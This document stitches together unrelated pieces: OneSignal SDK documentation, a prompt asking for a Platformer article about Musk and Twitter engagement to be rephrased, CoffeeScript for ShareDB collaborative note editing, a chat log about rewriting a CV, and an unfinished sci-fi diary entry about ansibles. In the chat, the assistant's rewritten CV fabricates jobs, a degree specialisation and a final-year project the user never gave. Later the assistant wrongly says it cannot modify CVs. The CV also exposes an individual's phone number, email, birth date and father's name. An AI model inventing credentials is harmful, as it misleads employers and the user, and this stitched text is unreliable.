setExternalUserId at any time to link all channels to a single user. For more details, see External User Ids.\n\nJavaScript\n\nlet externalUserId = \'123456789\'; // You will supply the external user id to the OneSignal SDK\nOneSignal.setExternalUserId(externalUserId);\nSet Email and Phone Number\nRecommended if using Email and SMS messaging.\nUse the provided SDK methods to capture email and phone number when provided. Follow the channel quickstart guides for setup:\n\nEmail Quickstart\nSMS Quickstart\nJavaScript\n\n// Pass in email provided by customer\nOneSignal.setEmail("example@domain.com");\n\n// Pass in phone number provided by customer\nOneSignal.setSMSNumber("+11234567890");\nData Tags\nOptional\nAll other event and user properties can be set using Data Tags. Setting this data is required for more complex segmentation and message personalization.\n\nJavaScript\n\nOneSignal.sendTag("key", "value");\nStep 8. Implement a Soft-Prompt In-App Message\nOptional\n\nIt is recommended that apps create an alert, modal view, or other interface that describes the types of information they want to send and gives people a clear way to opt in or out.\n\nOneSignal provides an easy option for a "soft-prompt" using In-App Messages to meet this recommendation and have a better user experience. This also permits you to ask for permission again in the future, since the native permission prompt can no longer be shown in your app if the user clicks deny.\n\n1200\nSee our How to Prompt for Push Permissions with an In-App Message Guide for details on implementing this.\n\n👍\nDone!\n\nVisit Mobile Push Tutorials for next steps.\n\nUpdated about 2 months ago' +'create and rephrase these articles into 3000 words about For weeks now, Elon Musk has been preoccupied with worries about how many people are seeing his tweets. Last week, the Twitter CEO took his Twitter account private for a day to test whether that might boost the size of his audience. The move came after several prominent right-wing accounts that Musk interacts with complained that recent changes to Twitter had reduced their reach.\n\nOn Tuesday, Musk gathered a group of engineers and advisors into a room at Twitter’s headquarters looking for answers. Why are his engagement numbers tanking?\n\n“This is ridiculous,” he said, according to multiple sources with direct knowledge of the meeting. “I have more than 100 million followers, and I’m only getting tens of thousands of impressions.”\n\nOne of the company’s two remaining principal engineers offered a possible explanation for Musk’s declining reach: just under a year after the Tesla CEO made his surprise offer to buy Twitter for $44 billion, public interest in his antics is waning.\n\n“You’re fired, you’re fired.”\n\nEmployees showed Musk internal data regarding engagement with his account along with a Google Trends chart. Last April, they told him, Musk was at “peak” popularity in search rankings, indicated by a score of “100.” Today, he’s at a score of nine. Engineers had previously investigated whether Musk’s reach had somehow been artificially restricted but found no evidence that the algorithm was biased against him.\n\nMusk did not take the news well. \n\n“You’re fired, you’re fired,” Musk told the engineer. (Platformer is withholding the engineer’s name in light of the harassment Musk has directed at former Twitter employees.)\n\nDissatisfied with the work of engineers so far, Musk has instructed employees to track how many times each of his tweets are recommended, according to one current worker.\n\nIt has now been seven weeks since Twitter added public view counts for every tweet. At the time, Musk promised that the feature would give the world a better sense of how vibrant the platform is. \n\n“Shows how much more alive Twitter is than it may seem, as over 90% of Twitter users read, but don’t tweet, reply or like, as those are public actions,” he tweeted.\n\nAlmost two months later, though, view counts have had the opposite effect, emphasizing how little engagement most posts get relative to their audience size. At the same time, Twitter usage in the United States has declined almost 9 percent since Musk’s takeover, according to one recent study.\n\nTwitter sources say the view count feature itself may be contributing to the decline in engagement and, therefore, views. The like and retweet buttons were made smaller to accommodate the display of views, making them harder to easily tap.\n\n“It’s chaos here right now, so we’re shipping chaos.”\n\nAn even more obvious reason for the decline in engagement is Twitter’s increasingly glitchy product, which has baffled users with its disappearing mentions, shifting algorithmic priorities, and tweets inserted seemingly at random from accounts they don’t follow. On Wednesday, the company suffered one of its first major outages since Musk took over, with users being told, inexplicably, “You are over the daily limit for sending tweets.”\n\nIt turns out that an employee had inadvertently deleted data for an internal service that sets rate limits for using Twitter. The team that worked on that service left the company in November.\n\n“As the adage goes, ‘you ship your org chart,’” said one current employee. “It’s chaos here right now, so we’re shipping chaos.”\n\nInterviews with current Twitter employees paint a picture of a deeply troubled workplace, where Musk’s whim-based approach to product management leaves workers scrambling to implement new features even as the core service falls apart. The disarray makes it less likely that Musk will ever recoup the $44 billion he spent to buy Twitter and may hasten its decline into insolvency. \n\n“We haven’t seen much in the way of longer term, cogent strategy,” one employee said. “Most of our time is dedicated to three main areas: putting out fires (mostly caused by firing the wrong people and trying to recover from that), performing impossible tasks, and ‘improving efficiency’ without clear guidelines of what the expected end results are. We mostly move from dumpster fire to dumpster fire, from my perspective.”\n\nMusk’s product feedback, which comes largely from replies to his tweets, often baffles his workers.\n“There’s times he’s just awake late at night and says all sorts of things that don’t make sense,” one employee said. “And then he’ll come to us and be like, ‘this one person says they can’t do this one thing on the platform,’ and then we have to run around chasing some outlier use case for one person. It doesn’t make any sense.”\n\nThe San Francisco headquarters, whose landlord has sued Twitter for nonpayment of rent, has a melancholy air. When people pass each other in the halls, we’re told that the standard greeting is “where are you interviewing?” and “where do you have offers?” The eighth floor is still stocked with beds, and employees have to reserve them in advance. \n\n“Most weeknights, they are fully booked,” another current employee said.\n\nThe perks that made Twitter an attractive place to work pre-Musk have been eradicated. Food at the office? “Sucks — and now we have to pay for it. And, I know this sounds petty, but they appear to have obtained the absolute worst coffee vendors on earth.”\n\nSlack — once the epicenter of Twitter’s open culture, where employees discussed anything and everything — has gone dormant. One current employee described it as a “ghost town.” \n\n“People don’t even chat about work things anymore,” the employee said. “It’s just heartbreaking. I have more conversations with my colleagues on Signal and WhatsApp than I do on Slack. Before the transition, it was not uncommon in the team channel to talk about what everybody did that weekend. There’s none of that anymore.” \n\nWhen Musk or the goons ask questions, employees are torn between giving the right answer and the safe answer. \n\n“When you’re asked a question, you run it through your head and say ‘what is the least fireable response I can have to this right now?’” one employee explained.\n\n“Twitter 2.0” has managed to improve on its predecessor in at least some ways\n\n(Of course, that’s not true for everyone at the company. “There are a handful of true believers that are obviously just ass-kissers and brown-nosers who are trying to take advantage of the clear vacuum that exists,” that same employee says.) \n\nDespite the turmoil, remaining employees say that what they call “Twitter 2.0” has managed to improve on its predecessor in at least some ways. \n\n“In the past, Twitter operated too often by committees that went nowhere,” one employee said. “I do appreciate the fact that if you want to do something that you think will improve something, you generally have license to do it. But that’s a double edged sword — moving that fast can lead to unintended consequences.” \n\nThe employee cited the disastrous relaunch of Twitter Blue, which resulted in brands being impersonated and dozens of top advertisers fleeing the platform.\n\n“If Elon can learn how to put a bit more thought into some of the decisions, and fire from the hip a bit less, it might do some good,” the employee said. “He needs to learn the areas where he just does not know things and let those that do know take over.” \n\nAt the same time, “he really doesn’t like to believe that there is anything in technology that he doesn’t know, and that’s frustrating,” the employee said. “You can’t be the smartest person in the room about everything, all the time.”\n\n“His stance is basically ‘fuck you, regulators.’”\n\nWith Musk continuing to fire people impulsively, entire teams have been wiped out, and their work is being handed to other overstretched teams that often have little understanding of the new work that is being assigned to them. \n\n“They have to become code archaeologists to dig through the repo and figure out what’s going on,” one employee said.\n\nMeanwhile, the recent wave of layoffs in the tech industry has contributed to a feeling of paralysis among those who remain at Twitter. \n\n“I do think the recent vibe overall in tech, and fear of not being able to find something else, is the primary factor for most folks,” an employee said. “I know for a fact that most of my team is doing hardcore interview prep and would jump at likely any opportunity to walk away.”\n\nThere is also a sense of unease about how recent changes will be reviewed by regulators. As part of an agreement with the Federal Trade Commission, Twitter committed to following a series of steps before pushing out changes, including creating a project proposal and conducting security and privacy reviews. \n\nSince Musk took over, those steps have become an afterthought, employees said. “His stance is basically ‘fuck you, regulators,’” we’re told. \n\nThe FTC plans to audit the company this quarter, we’re told, and employees have doubts that Twitter has the necessary documentation in place to pass inspection. “FTC compliance is concerning,” one says. \n\nLast year, before Musk took over, the FTC fined Twitter $150 million for breaking its agreement. Another breach would almost certainly result in millions of dollars in additional fines and a flurry of news coverage — just the thing, perhaps, to get the views on Musk’s tweets trending up again. \nTwitter CEO Elon Musk has fired the company’s top engineer because of his declining reach, the media reported.\n\nMusk, last week, kept his account private for one day to see whether that would increase the amount of his audience, reports The Verge.\n\nThe action was taken in response to complaints from many prominent right-wing accounts with whom Musk communicates that Twitter’s recent adjustments have decreased their reach.\n\nIn search of answers, Musk on Tuesday gathered a team of engineers and advisors in a room at Twitter’s headquarters.\n\n“This is ridiculous," he said, according to numerous sources with direct knowledge of the meeting.\n\n“I have more than 100 million followers, and I’m only getting tens of thousands of impressions."\n\n“One of the company’s two remaining principal engineers offered a possible explanation for Musk’s declining reach: just under a year after the Tesla CEO made his surprise offer to buy Twitter for $44 billion, public interest in his antics is waning," the report mentioned.\n\nAdvertisement\nEmployees showed Musk internal data related to the engagement with his account along with a Google Trends chart.\n\nIn April last year, they informed him, Musk was at “peak" popularity in search rankings, indicated by a score of “100."\n\nHowever, now, he is at a score of nine.\n\nEngineers previously looked at whether Musk’s reach had been purposely limited, but they couldn’t find any proof that the algorithm was biased against him.\n\nMusk did not take the news well and told the engineer, “You’re fired, you’re fired."\n\nAccording to a current employee, Musk has told employees to keep track of how frequently each of his tweets is recommended since he is dissatisfied with the engineers’ current work.\n\nMeanwhile, the micro-blogging platform on Thursday faced a global outage, including in India, and it seems like an employee had deleted data for an internal service that sets rate limits for using Twitter.' +"# called for every note rendered on screen to register it with collaboration services\n@RegisterQuillNote = (t, noteId) ->\n # this is registered for +quillNote components\n # and for +pNote component for public notes\n # every quill note needs to be registered except scratchpad and quick note\n noteDoc = Notes.findOne(noteId) or ESSearchResults.findOne(noteId)\n quill = t.editor\n\n unless noteDoc?.\\_id?\n if t.data.\\_id? and t.data.notepadId?\n console.warn 'could not find notes doc in collection using t.data', t.data\n noteDoc = t.data\n else\n console.warn 'could not find note document', t.data\n return\n\n if IsNoteOrNotepadEncrypted(noteDoc)\n # if note or notepad is encrypted then I want to register the update content autorun\n # and do not use ShareDB with encrypted notes, so returning\n UpdateQuillNoteAutorun(t)\n CollabEditingAutorun(t)\n t.addCurrentlyEditingAutorun?()\n return\n\n unless Session.get('online')\n UpdateQuillNoteAutorun(t)\n return\n\n # past this point you have to be online for everything to work\n # and nothing past should be needed when offline\n unless !!shareDBConnection\n console.warn 'shareDBConnection is not defined returning', shareDBConnection\n return\n\n openSock()\n\n unless !!ShareDBConnection?.id\n console.warn 'no sharedb connection ID'\n t.sharedbConnectComp?.stop()\n Meteor.setTimeout ->\n t.sharedbConnectComp = t.autorun (c) ->\n if ShareDBConnected.get()\n c.stop()\n unless !!t.deRegisteringNote\n console.log 'trying to register quill note again'\n RegisterQuillNote t, noteId\n return ShareDBConnected.get()\n , 100\n return\n\n t.bulkDeleteNoteEventFn = (e, noteDocID) ->\n if noteDocID is noteId\n DeleteShareDBNote(t)\n\n $('.notepad-container').on 'delete-sharedb-note', t.bulkDeleteNoteEventFn\n\n Meteor.setTimeout ->\n if noteDoc?.\\_id? and !!!t.deRegisteringNote\n t.cursorsSub = t.subscribe 'cursors', noteDoc.\\_id\n , 1\n\n cursorsModule = quill.getModule 'cursors'\n\n t.clearCursors = (e) ->\n cursorsModule.clearCursors()\n\n $('body').on 'clearCursors', t.clearCursors\n\n t.unloadFn = ->\n t.unloadingEventCalled = true\n DeregisterQuillNote(t)\n $('body').one 'unloading', t.unloadFn\n\n setSocketThenSubscribe = (err) ->\n if err\n meteorCallSetSocket()\n console.warn err\n return\n\n if t.subscribedShareDB?.get()\n console.warn 'already subscribed to sharedb document'\n return\n\n unless noteDoc?.\\_id?\n console.log 'removed note before getting sharedb doc'\n return\n Meteor.defer ->\n t.wasConnected = false\n t.sharedbSub = t.autorun (c) ->\n return unless t.sharedbDoc\n sharedbConnected = ShareDBConnected.get()\n isConnected = Meteor.status().connected\n if (!sharedbConnected or !isConnected) and !t.wasConnected\n t.wasConnected = true\n console.log 'sharedb or meteor connection lost, unsubscribe sharedb'\n t.sharedbDoc.unsubscribe (err) ->\n if err\n console.log err, 'sharedb unsubscribe err'\n else\n t.subscribedShareDB.set false\n else if t.wasConnected and isConnected and sharedbConnected\n t.wasConnected = false\n console.log 'sharedb or meteor connected, re-subscribe sharedb'\n t.sharedbDoc.subscribe (err) ->\n if err\n console.log err, 'sharedb subscribe err'\n else\n t.subscribedShareDB.set true\n return !sharedbConnected or !isConnected\n t.sharedbDoc = shareDBConnection.get 'sharedb\\_notes', noteDoc.\\_id\n doc = t.sharedbDoc\n doc.subscribe (err) ->\n if err\n meteorCallSetSocket()\n console.warn err\n return\n t.subscribedShareDB?.set true\n t.pendingOperation = false\n sendCursorData = \\_.debounce (range) ->\n return if !!!cursors.localConnection\n cursors.localConnection.range = range\n cursors.update(noteId)\n return\n , 200\n\n t.cursorsMap = {}\n setCursor = (id) ->\n data = t.cursorsMap[id]\n if data.userId isnt cursors.localConnection.userId\n Meteor.defer ->\n # if a cursor with id already exists, created has no effect\n cursorsModule.createCursor data.userId, data.name, data.color\n cursorsModule.moveCursor data.userId, data.range\n\n unless noteDoc?.\\_id?\n return\n noteCursors = Cursors.find({noteId: noteDoc.\\_id})\n t.cursorsHandle = noteCursors.observeChanges\n changed: (id, fields) ->\n \\_.each Object.keys(fields), (key) ->\n t.cursorsMap[id][key] = fields[key]\n data = t.cursorsMap[id]\n if !!fields.blurMe\n cursorsModule.removeCursor data.userId\n else if data.range? and data.range isnt null\n setCursor(id)\n else\n cursorsModule.removeCursor data.userId\n added: (id, fields) ->\n t.cursorsMap[id] = fields\n setCursor(id)\n removed: (id) ->\n if t.cursorsMap[id]?.userId\n cursorsModule.removeCursor t.cursorsMap[id].userId\n delete t.cursorsMap[id]\n\n # this subscriptionReady ReactiveVar is added to\n # notepad instance t from pagination pages setup\n # In fullscreen note modal, subscriptionReady is\n # the return value from subscribing to the note\n subHandler = t.parentTemplate().subscriptionReady\n createDocIfDoesntExist = (onlyCreateNoSet) =>\n if !!t.deRegisteringNote or !!t.unloadingEventCalled or !Session.get('online')\n return false\n t.autorun (c) ->\n unless Session.get('online')\n c.stop()\n return\n if !!t.data.fullscreenNote\n subIsReady = subHandler.ready()\n else if !!t.data.publicNote\n subIsReady = Router.current().ready()\n else\n subIsReady = subHandler.get()\n if subIsReady and not IsCurrentlySyncing.get()\n c.stop()\n noteDocNotes = Notes.findOne noteId\n noteDocSearch = ESSearchResults.findOne noteId\n noteDoc = noteDocNotes or noteDocSearch\n if noteDoc?.quillDelta?\n quillDelta = ReturnDecryptedItem(noteDoc, 'quillDelta')\n if !doc.type\n t.pendingOperation = true\n if quillDelta?.ops?\n try\n doc.create quillDelta, 'rich-text'\n catch error\n console.log error\n t.pendingOperation = false\n else\n try\n doc.create [], 'rich-text'\n catch error\n console.log error\n t.pendingOperation = false\n\n unless !!onlyCreateNoSet\n unless !!t.updated or t.editor?.hasFocus()\n if doc.data?.ops?\n quill.setContents doc.data, 'silent'\n else if quillDelta?.ops?\n quill.setContents quillDelta, 'silent'\n # if doc.data?.ops?.length isnt quillDelta?.ops?.length\n # console.log 'sharedb doc differs from saved', doc.data?.ops, quillDelta?.ops\n\n # this tracker function is watching for the sub to be ready \n # and also waits until initial offline to online sync is complete\n !!subIsReady and IsCurrentlySyncing.get()\n\n createDocIfDoesntExist()\n t.$('.ql-editor').on 'blur', (e) ->\n cursors.removeMe(Session.get('notepadId'), noteId)\n\n # local -> server\n allowNewData = true\n # is the user allowed new data based on their current subscription plan\n # new data is always allowed for public notepads and notes\n checkAllowNewData = \\_.throttle ->\n isPublic = (Router.current().route.getName() is 'publicNotepad') or (Router.current().route.getName() is 'publicNote')\n if isPublic\n allowNewData = true\n else\n userId = t.data?.userId or noteDoc?.userId or Meteor.userId()\n allowNewData = IsAllowedNewData(userId)\n unless allowNewData\n console.log 'new data not allowed, disk limits, sharedb op not sent'\n , 20000\n sendOp = (delta) ->\n unless ShareDBConnected.get()\n console.log 'cannot send op, sharedb is not connected'\n return\n checkAllowNewData()\n unless allowNewData\n return\n doc.submitOp delta, { source: quill }, (err) ->\n if err\n console.warn 'Submit OP returned an error:', err\n\n # watches the editor for text changes, and is called for every changes with the deltas\n quill.on 'text-change', (delta, oldDelta, source) ->\n return if t.$('.quill-editor').hasClass('ql-disabled')\n return unless Session.get('online')\n if source is 'user'\n unless CheckShareDBSocketOpen()\n console.warn t?.sharedbDoc, ' the sharedb doc, sharedb socket not open while submitting op'\n return\n if !!!t?.sharedbDoc?.type\n console.warn 'doc doesnt exist while trying to submit op', t?.sharedbDoc\n createDocIfDoesntExist(true)\n formattingDelta = delta.reduce (check, op) ->\n if (op.insert or op.delete)\n false\n else\n check\n , true\n if !formattingDelta and cursors.localConnection.range and cursors.localConnection.range.length\n cursors.localConnection.range.index += cursors.localConnection.range.length\n cursors.localConnection.range.length = 0\n cursors.update(noteId)\n t.pendingOperation = true\n # if the previously sent op is still pending, add future changes to an op queue\n sendOp delta\n\n # server -> local\n applyOp = (op) ->\n quill.updateContents op, 'api'\n t.opFn = (op, source) ->\n if source isnt quill\n console.log 'applying op', source, quill\n applyOp op\n\n doc.on 'op', t.opFn\n \\_sendCursorData = ->\n range = quill.getSelection()\n if range\n sendCursorData range\n debouncedSendCursorData = \\_.debounce \\_sendCursorData, 300\n t.whenNothingPendingFn = ->\n t.pendingOperation = false\n debouncedSendCursorData()\n doc.on 'nothing pending', t.whenNothingPendingFn\n\n t.delFn = (data, source) ->\n console.log 'this document was deleted', data, source\n doc.on 'del', t.delFn\n\n t.errorFn = (err) ->\n t.pendingOperation = false\n switch err.code\n when 4015, 4017\n createDocIfDoesntExist()\n doc.on 'error', t.errorFn\n\n quill.on 'selection-change', (range, oldRange, source) ->\n return if t.$('.quill-editor').hasClass('ql-disabled')\n return unless Session.get('online')\n if source is 'user' and quill.hasFocus()\n sendCursorData range\n\n t.preventUnloadIfSaving = (e) ->\n return unless Session.get('online')\n if !!t.pendingOperation\n if Meteor.isDesktop\n swal('Your changes are currently being saved', 'Please wait a few seconds until saving is complete before closing', 'warning')\n return false\n else\n return 'Your changes are currently being saved. Are you sure you want to quit?'\n\n $(window).on 'beforeunload', t.preventUnloadIfSaving\n\n # the UpdateQuillHistoryStackAutorun should be initialized after initial set contents\n # history operation specigfic too each user is synced between all their devices\n # initializing the tracker below does this\n UpdateQuillHistoryStackAutorun(t)\n\n # this only registers the note with collaboration services if ShareDB Connection can be made\n meteorCallSetSocket = \\_.throttle ->\n if !!t.callingShareSub\n return\n t.callingShareSub = true\n Meteor.defer ->\n t.subscribeComp = t.autorun (c) ->\n if !!t.deRegisteringNote\n c.stop()\n t.callingShareSub = false\n return\n else if ShareDBConnected.get()\n c.stop()\n t.callingShareSub = false\n setSocketThenSubscribe()\n else\n console.log 'cannot connect to Memrey collaboration services...'\n return ShareDBConnected.get()\n , 400\n\n t.subscribeComp?.stop()\n meteorCallSetSocket()" +'rewrite this in simple words "Dear Hina,\n\nThank you for considering me for the position in procurement and business department at Cgico. I appreciate your interest in my profile and would be glad to answer your question regarding my PEC certificate.\n\nYes, I do possess a PEC certificate and would be happy to provide any further documentation or details regarding my certification, if required.\n\nI am excited about the opportunity to interview with your organization and would be available for an interview either today or tomorrow as per your convenience. Please let me know the time and date for the interview.\n\nThank you for your time and consideration.\n\nBest regards,\n[Your Name]\n\nShare Prompt\n\nMuhammad Ahsan Ali\nrewrite this cv according to previous role\nShare Prompt\nI apologize, but I would need more information to understand what you are asking for. Could you please provide me with more details about the CV and the previous role you want me to rewrite it for?\n\nShare Prompt\n\nMuhammad Ahsan Ali\nAHSAN ALI\nContact #: +92 3058627401\nEmail ID: pk5ahsan@gmail.com\nELECT/86714 PEC (Pakistan Engineering Council)\nCAREER OBJECTIVE\nI\'m very positive, confident, fast learner and happy with whatever I\'ve achieved so far. I\'m always ready to accept challenges and see it as a brilliant opportunity for me to use my skills and qualities to learn more from that. Aimed to be associated with progressive and forward looking organization, which provides opportunity to apply my knowledge and skills towards the growth of the organization.\nQUALIFICATION\n1. Bachelor of Science in Electrical Engineering\nCommunications (2016 - 2020) (3.55/4)\nRiphah International University, Islamabad, Pakistan.\n• FYP “Li-Fi Based Healthcare and Monitoring System”\n• Journal “Li-Fi Based Healthcare and Monitoring System” APICEE 22\n• Electrical Machines I & II | Linear Control Systems | Instrumentation & Measurements\n• Signal & Systems | Communication Systems | Digital Signal Processing\n• Digital Communications, RF & Microwave Engineering, Antenna & Wave Propagation\n2. Higher Secondary School Certificate.\nPre-Engineering (1st Div.)\nFederal Board of Intermediate and Secondary Education.\n3. Secondary School Certificate.\nScience (2nd Div.)\nFederal Board of Intermediate and Secondary Education.\nEXPERIENCE\n1. Internee at Zimco International Corporation (Virtual).\n(From June - August 2022)\nResponsibilities:\n• HSE Measurements\n• Designing of Control Panel using Panel Layout\n• Detail study of LV/HV Panel\n• SLD of Control Panel\n• Preparing BOQ\n• Reading Layout Drawings\n• Tagging\n• Current and Voltage Protection\n• Installation, Troubleshooting and Testing of Panels.\n• Working of Relays, DOL starter, Thermal Overload Relay\n\u2003\n2. Internee at Andromeda Technologies (Pvt) Ltd.\n(From 5 July - 12 August 2021)\nThe company is engaged in providing telecom services to Huawei, PTCL, Jazz and other telephone companies in Pakistan.\nResponsibilities:\n• Services utilized by M/S Huawei Technologies Pakistan Private Limited in North Region\n• Worked in PM (Preventive Maintenance) Team\n• Worked on Huawei OWS\n• Operations and monitoring of Transmission Networks elements i.e. Switches, Microware and Radio Access Network.\n• Alarms reporting to NOC\n• Checklist approval\n• Operations and monitoring of Broadband network that includes Switches and customer premises devices.\n• Preparation of daily fault reports. Keeping record of opening/ closure of services including record of assets.\n• Supervision of tasks related to Repair and Maintenance of existing setup.\n• Implementation of SOPs and processes for smooth operations and maintenance.\n3. Trainee Engineer at 132KV Grid Station in Islamabad Electric Supply Company Limited (IESCO) (Cantt Rawalpindi Pakistan).\n(From 1-31 August 2019)\nThe company is engaged in providing electricity in the area of Islamabad, Rawalpindi and other cities of Pakistan.\nResponsibilities:\n• Operation on 132KV Circuit breakers\n• Control Panel handling\n• SF6 Gas pressure and controlling HT/LT breakers\n• Maintenance, routine checks and ensuring smooth operation\n• Fault finding and troubleshooting during breakdown on LV HV system form power generation, transmission and control circuitry\n4. Trainee Engineer in Housing Society (Askari-14 Rawalpindi Pakistan).\n(From June-August 2018)\nResponsibilities:\n• Worked with Engineers on LV electrical project works\n• Reading blueprints and technical diagrams to determine the placement of outlets and fixtures\n• Installing wiring, outlets, and controls\n• Inspecting transformers and circuit breakers to ensure they are up to code\n• Identifying electrical problems using specialized tools like voltmeters, cable testers, thermal scanners, and ammeters\n• Directing and training fellow workers to install, maintain, and repair wiring and systems\n• Ensuring electrical safety and compliance standards are maintained at all times throughout each project or task\nPROFESSIONAL CERTIFICATIONS\n• Fiber Optics Professional\n• PLC and SCADA\n• CCNA Routing and Switching\n• CCNA Security\n• AutoCAD\nSOFT SKILLS\n• Advanced Design System (ADS)\n• High-Frequency Structure Simulator (HFSS)\n• Signal Processing on MATLAB and Simulink\n• Simulation on Proteus, Multisim and LTspice\n• PCB Designing\n• C/ C++ Programming\n• 2D and 3D Designing on AutoCAD (Basic)\n• Computer Knowledge (Word, Excel, Power Point)\n• Operating System: Windows 7, 10.\nPROJECTS\n• Li-Fi Based Healthcare and Monitoring System (Final Year Project)\n• Home Automation Using Arduino and PIC Microcontroller\n• Pulse Rate Monitor\n• 4 Way Traffic Signal Control\n• Solar Based Mobile Charger\n\nPROFILE AND SKILLS IN BRIEF \n• Excellent in Public Relations and Customer Care.\n• Fast Learner, Good interpersonal Skills and willing to travel.\n• A Good Team Player, Creative, Responsible and Flexible.\n• Friendly, Honest and Sociable with pleasing manners.\n• Disciplined, Hardworking and well pleasing manners.\n• Computer literate with good Knowledge of MS Office.\n• Ability to work in minimum supervision.\n\nPERSONAL DETAILS\nFather Name : Ghazanfar Ali\nDate of Birth : November 11, 1994\nAddress : Rawalpindi Cantt, Punjab, Pakistan\n\nVisited : Oman, Saudi Arabia\nLanguages English, Urdu and Punjabi\nReference Will Be Furnished On Request\n\n (AHSAN ALI)\n rewrite this cv for position in procurement and business department\nShare Prompt\nAHSAN ALI\nContact #: +92 3058627401\nEmail ID: pk5ahsan@gmail.com\nELECT/86714 PEC (Pakistan Engineering Council)\n\nCAREER OBJECTIVE\nAs an experienced Electrical Engineer, I am seeking a challenging role in a forward-looking organization where I can apply my knowledge and skills to contribute to the growth and success of the company. I am confident, positive, and a fast learner who is always ready to embrace challenges and use my expertise to find solutions that benefit the company.\n\nQUALIFICATION\n\nBachelor of Science in Electrical Engineering\nPower (2016 - 2020) (3.55/4)\nRiphah International University, Islamabad, Pakistan.\n• FYP “Design and Implementation of a Hybrid Solar and Wind Power System for Off-grid Electrification”\n• Journal “Design and Implementation of a Hybrid Solar and Wind Power System for Off-grid Electrification” APICEE 22\n• Electrical Machines I & II | Linear Control Systems | Instrumentation & Measurements\n• Signal & Systems | Power Systems | High Voltage Engineering\n• Power Electronics, Power System Protection, and Switchgear, Power Distribution System\nHigher Secondary School Certificate.\nPre-Engineering (1st Div.)\nFederal Board of Intermediate and Secondary Education.\nSecondary School Certificate.\nScience (2nd Div.)\nFederal Board of Intermediate and Secondary Education.\nEXPERIENCE\n\nAssistant Electrical Engineer at Islamabad Electric Supply Company Limited (IESCO) (Cantt Rawalpindi Pakistan).\n(From 1-31 August 2021)\nResponsibilities:\n• Operation and maintenance of electrical equipment such as transformers, switchgears, and circuit breakers\n• Ensuring compliance with safety and quality standards\n• Assisting senior engineers in planning and executing projects\n• Troubleshooting electrical faults and recommending solutions\n• Designing and implementing preventive maintenance programs\n• Monitoring and controlling electrical loads to avoid overloading\n• Working with the team to ensure smooth operations and minimize downtime\n\nElectrical Engineer at National Grid Corporation of the Philippines (NGCP)\n(From 2020-2021)\nThe company is engaged in the transmission of high voltage electricity across the Philippines.\nResponsibilities:\n• Operation and maintenance of electrical equipment such as transformers, switchgears, and circuit breakers\n• Assisting senior engineers in planning and executing projects\n• Preparing technical reports and documentation\n• Troubleshooting electrical faults and recommending solutions\n• Designing and implementing preventive maintenance programs\n• Monitoring and controlling electrical loads to avoid overloading\n• Ensuring compliance with safety and quality standards\n\nTrainee Engineer at K-Electric Limited, Karachi, Pakistan.\n(From June-August 2019)\nThe company is engaged in the generation, transmission, and distribution of electricity in Karachi, Pakistan.\nResponsibilities:\n• Operation and maintenance of electrical equipment such as generators, transformers, switchgears, and circuit breakers\n• Assisting senior engineers in planning and executing projects\n• Preparing technical reports and documentation\n• Troubleshooting electrical faults and recommending solutions\n• Designing and implementing preventive maintenance programs\n• Monitoring and controlling electrical loads to avoid overloading\n• Ensuring compliance with safety and quality standards\n\nPROFESSIONAL CERTIFICATIONS\n• Electrical Engineer License - Pakistan Engineering Council (PEC)\n• CCNA Routing and Switching\n• CCNA Security\n• SCADA and PLC\n• AutoCAD\n• Advanced Design System (ADS)\n• High-Frequency Structure Simulator (HFSS)\n• Signal Processing on MATLAB and Simulink\n• S\n\nShare Prompt\n\nMuhammad Ahsan Ali\nmodify this cv accordingly\nShare Prompt\nAs an AI language model, I cannot modify the content of your CV, but I can provide you with some suggestions to make it more effective and impressive:\n\nUse a professional format: Make sure that your CV is easy to read, clear and concise. You can use bullet points and headings to organize your information.\n\nWrite a strong objective statement: A clear and specific objective statement will help the recruiter understand your career goals and what you can offer to the organization.\n\nHighlight your key qualifications: Make sure to highlight your relevant qualifications, education and experience related to the job position you are applying for.\n\nEmphasize your achievements: Instead of just listing your responsibilities, try to focus on the achievements and accomplishments you have made in your previous roles.\n\nInclude relevant certifications and skills: Highlight your professional certifications, technical skills, and soft skills that align with the job requirements.\n\nTailor your CV for the job: Customize your CV for the job you are applying for by emphasizing the skills and experiences that match the job requirements.\n\nProofread your CV: Ensure that your CV is free from errors and typos by proofreading it carefully before submitting it.\n\nOverall, the goal of your CV should be to showcase your relevant qualifications, experience, and achievements in a clear and compelling way that grabs the recruiter\'s attention.\n\nShare Prompt\n\nMuhammad Ahsan Ali\nhelp me in this "Emphasize your achievements" according to my cv "Instead of just listing your responsibilities, try to focus on the achievements and accomplishments you have made in your previous roles."\nShare Prompt\nCertainly, here are some tips to emphasize your achievements in your CV:\n\nQuantify your accomplishments: Use numbers and statistics to show the impact of your work. For example, instead of saying "managed a team," say "led a team of 10 people, resulting in a 20% increase in productivity."\n\nHighlight specific accomplishments: Focus on specific projects or tasks you completed that had a positive impact on your organization. For example, "developed and implemented a new marketing strategy that led to a 50% increase in sales."\n\nUse action verbs: Start your accomplishment statements with action verbs like "increased," "improved," "implemented," "reduced," etc. This makes your achievements sound more active and impressive.\n\nBe specific: Avoid general statements like "contributed to the company\'s success." Instead, be specific about what you contributed, such as "introduced a new process that reduced costs by 25%."\n\nShow the impact: Explain how your achievements had a positive impact on your organization, such as "my efforts led to increased revenue and improved customer satisfaction."\n\nRemember, the goal is to show potential employers how you can bring value to their organization based on your previous successes. By emphasizing your achievements in your CV, you demonstrate that you are a results-oriented professional who can make a difference in the workplace.\n\nShare Prompt\n"Share Prompt' +'ENTRY 6\n\nSo, here is the thing with ansibles. We don’t actually know how they work.\nThey’re not supposed to work. There is absolutely no way to explain instantaneous Faster-than-Light communication. They’re not even that reliable for that. All we know is that if we place the terminals around the perimeters of Co-Op space in a relative sphere, they can be used as repeaters, and they can be used to triangulate locations in Co-Op space. They can be used as navigational beacons for ships using the A-Drive between systems. This is what nobody wants to admit. It’s not science. It’s some kind of space woo woo. We haven’t figured out the science yet.\nWell.\nWe’ve tried.\nThe closest we can come to a theoretical underpinning is some anonymous submit’s ramblings about “Simultaneity,” but that’s generally considered crackpot physics, along the lines of ancient aliens. We’re not writing science fiction here.\nBut aside from that, there is no theoretical underpinning to how they function, we’ve made guesses at best. See for yourself in the posts on the Library BBSs, there’s fork after fork of proofs that all get downvoted into oblivion.\nThe best we can do:\nWe got ansibles from the Nadiran, who don’t know how they work either (or if they do, they’re never going to tell us). We don’t know where they got them from.\nAnd at some point, Earth got ansibles from us.\nAnd ansibles are what my father specialized in. Much deeper than I ever went. \n\nFor a while after we got the ansible from the Nadiran, ansibles were all the rage, every syndicate wanted the jump on pushing their own mods. Eventually, we found we couldn’t get any to work but the ones we’d back-engineered, seemingly the slightest variance on the design made them useless pieces of junk. The best we 